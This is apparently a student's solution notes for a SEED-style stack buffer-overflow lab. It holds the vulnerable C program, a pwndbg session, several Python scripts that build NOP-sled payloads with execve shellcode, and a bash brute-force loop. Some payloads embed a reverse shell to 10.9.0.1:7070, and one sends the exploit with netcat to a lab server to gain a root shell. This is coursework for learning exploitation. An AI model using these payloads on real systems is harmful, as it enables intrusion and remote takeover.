#include<stdlib.h> #include<stdio.h> #include<string.h> /* Changing this size will change the layout of the stack. * Instructors can change this value each year, so students * won’t be able to use the solutions from the past. */ #ifndef BUF_SIZE #define BUF_SIZE 100 #endif intbof(char *str) { char buffer[BUF_SIZE]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return1; } intmain(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return1; }
# Replace the content with the actual shellcode shellcode= ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31" "\xd2\x31\xc0\xb0\x0b\xcd\x80" ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 517 - len(shellcode) # Change this number content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0xffffcd98 + 96# Change this number offset = 112# Change this number
L = 4# Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
pwndbg> b bof Breakpoint 1 at 0x1221: file stack.c, line 20. pwndbg> r Starting program: /home/bronya/Documents/SJTU/lab/buffer-overflow/setuid/Labsetup/code/stack-L2-dbg [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Input size: 517
# Replace the content with the actual shellcode shellcode= ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31" "\xd2\x31\xc0\xb0\x0b\xcd\x80" ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 517 - len(shellcode) # Change this number content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0xffffc898 + 232# Change this number offset = 207# Change this number
L = 4# Use 4 for 32-bit address and 8 for 64-bit address content[0:offset + L] = (ret).to_bytes(L,byteorder='little')*52 ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
# Replace the content with the actual shellcode shellcode= ( "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e" "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57" "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05" ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 40# Change this number content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0x7fffffffd5b0+220# Change this number offset = 208+8# Change this number
L = 8# Use 4 for 32-bit address and 8 for 64-bit address # content[0:offset+L] = (ret).to_bytes(L,byteorder='little')*29 content[offset:offset+L] = (ret).to_bytes(L,byteorder='little') print((ret).to_bytes(L,byteorder='little')) ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
# Replace the content with the actual shellcode shellcode= ( "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e" "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57" "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05" ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 517 - 7 - len(shellcode) # Change this number content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0x7fffffffdca0 + 220# Change this number offset = 10+8# Change this number
L = 8# Use 4 for 32-bit address and 8 for 64-bit address # content[0:offset+L] = (ret).to_bytes(L,byteorder='little')*29 content[offset:offset+L] = (ret).to_bytes(L,byteorder='little') ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
while true; do value=$(( $value + 1 )) duration=$SECONDS min=$(($duration / 60)) sec=$(($duration % 60)) echo "$min minutes and $sec seconds elapsed." echo "The program has been running $value times so far." ./stack-L1 done
#include<stdlib.h> #include<stdio.h> #include<string.h> /* Changing this size will change the layout of the stack. * Instructors can change this value each year, so students * won’t be able to use the solutions from the past. */ #ifndef BUF_SIZE #define BUF_SIZE 100 #endif intbof(char *str) { char buffer[BUF_SIZE]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); P return1; } intmain(int argc, char **argv) { char str[517]; int length = fread(str, sizeof(char), 517, stdin); bof(str); fprintf(stdout, "==== Returned Properly ====\n"); return1; }
shellcode = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/bash -i >/dev/tcp/10.9.0.1/7070 0<&1 2>&1 *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 517 - len(shellcode) # Change this number content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0xffffd7e8# Change this number offset = 0xffffd7e8 - 0xffffd778 + 4# Change this number
# Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
shellcode = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1 *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 517 - len(shellcode) # Change this number content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0xffffd728 + start # Change this number offset = 300# Change this number
# Use 4 for 32-bit address and 8 for 64-bit address content[0:offset + 4] = (ret).to_bytes(4,byteorder='little')*76 ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
shellcode = ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1 *" "AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBBBBBB"# Placeholder for argv[1] --> "-c" "CCCCCCCC"# Placeholder for argv[2] --> the command string "DDDDDDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 0# Change this number content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0x7fffffffe650# Change this number offset = 0x7fffffffe720 - 0x7fffffffe650 + 8# Change this number
# Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little') ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
shellcode = ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/bash -i > /dev/tcp/10.9.0.1/7070 0<&1 2>&1 *" "AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBBBBBB"# Placeholder for argv[1] --> "-c" "CCCCCCCC"# Placeholder for argv[2] --> the command string "DDDDDDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 517 - len(shellcode) # Change this number content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0x7fffffffe650# Change this number offset = 0x60 + 8# Change this number for i inrange(0, 100): ret += 40 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little') ################################################################## # Write the content to a file withopen('badfile', 'wb') as f: f.write(content) print(f"ret: {ret}") print(os.system("cat badfile | nc 10.9.0.8 9090"))
python运行如下，结果会停在某个地址，表示在此ret地址下可以成功建立连接。
获取server4 root权限shell：
Task 6: Experimenting with the Address Randomization
.jpg)
.jpg)
.jpg)
.jpg)
.jpg)
.jpg)